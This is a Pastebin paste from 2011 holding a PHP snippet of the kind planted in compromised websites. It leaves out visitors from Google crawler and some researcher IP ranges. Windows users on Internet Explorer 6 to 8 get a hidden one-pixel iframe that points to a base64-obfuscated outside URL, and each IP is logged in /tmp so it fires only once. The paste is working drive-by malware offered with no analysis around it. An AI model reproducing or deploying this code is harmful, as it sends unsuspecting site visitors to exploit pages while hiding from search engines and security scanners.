Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

Untitled

By: a guest on Mar 10th, 2011  |  syntax: None  |  size: 1.76 KB  |  views: 1,101  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1.  
  2. function net_match ( $network , $ip ) {
  3. $ip_arr = explode ( '/' , $network );
  4. $network_long = ip2long ( $ip_arr [ 0 ]);
  5. $x = ip2long ( $ip_arr [ 1 ]);
  6. $mask = long2ip ( $x ) == $ip_arr [ 1 ] ? $x : 0xffffffff << ( 32 - $ip_arr [ 1 ]);
  7. $ip_long = ip2long ( $ip );
  8. return ( $ip_long & $mask ) == ( $network_long & $mask );
  9. }
  10.  
  11. function net()
  12. {
  13. $ip=$_SERVER['REMOTE_ADDR'];
  14.  
  15. if(
  16. net_match('64.233.160.0/19',$ip)==0 &&
  17. net_match('66.102.0.0/20',$ip)==0 &&
  18. net_match('66.249.64.0/19',$ip)==0 &&
  19. net_match('72.14.192.0/18',$ip)==0 &&
  20. net_match('74.125.0.0/16',$ip)==0 &&
  21. net_match('89.207.224.0/24',$ip)==0 &&
  22. net_match('193.142.125.0/24',$ip)==0 &&
  23. net_match('194.110.194.0/24',$ip)==0 &&
  24. net_match('209.85.128.0/17',$ip)==0 &&
  25. net_match('216.239.32.0/19',$ip)==0 &&
  26. net_match('128.111.0.0/16',$ip)==0 &&
  27. net_match('67.217.0.0/16',$ip)==0 &&
  28. net_match('188.93.0.0/16',$ip)==0
  29. )
  30. return true;
  31. }
  32.  
  33. function detect_os() {
  34. global $os;
  35. $user_agent = $_SERVER['HTTP_USER_AGENT'];
  36. if(strpos($user_agent, "Windows") !== false) $os = 'windows';
  37. }detect_os();
  38.  
  39.  
  40. function detect_brows() {
  41. global $OOOOO0000, $OOOOOO000;
  42. $user_agent = $_SERVER["HTTP_USER_AGENT"];
  43. if (preg_match("/MSIE 6.0/", $user_agent) OR
  44.     preg_match("/MSIE 7.0/", $user_agent) OR
  45.     preg_match("/MSIE 8.0/", $user_agent)
  46. ) $OOOOOO000 = "MSIE";
  47. }detect_brows();
  48.  
  49. $IP = "{$_SERVER[REMOTE_ADDR]}.log";
  50.  
  51. function _log()
  52. { global $IP;
  53. touch ("/tmp/x86/{$IP}");
  54. }
  55.  
  56. function _check()
  57. {
  58. global $IP;
  59. if(!file_exists("/tmp/x86/{$IP}")) return true;
  60. }
  61. $drgk=base64_decode('aHR0cDovLzEyOS4xMjEuNDAuNDEvSG9tZS9pbmRleC5waHA=');
  62. if(_check())
  63. {
  64. if(net())
  65. {
  66. if($os)
  67. {
  68. if($OOOOOO000 == "MSIE")
  69. {
  70. echo '<iframe frameborder=0 src="'.$drgk.'" width=1 height=1 scrolling=no></iframe>';
  71.  
  72. _log();
  73.  
  74. }}}}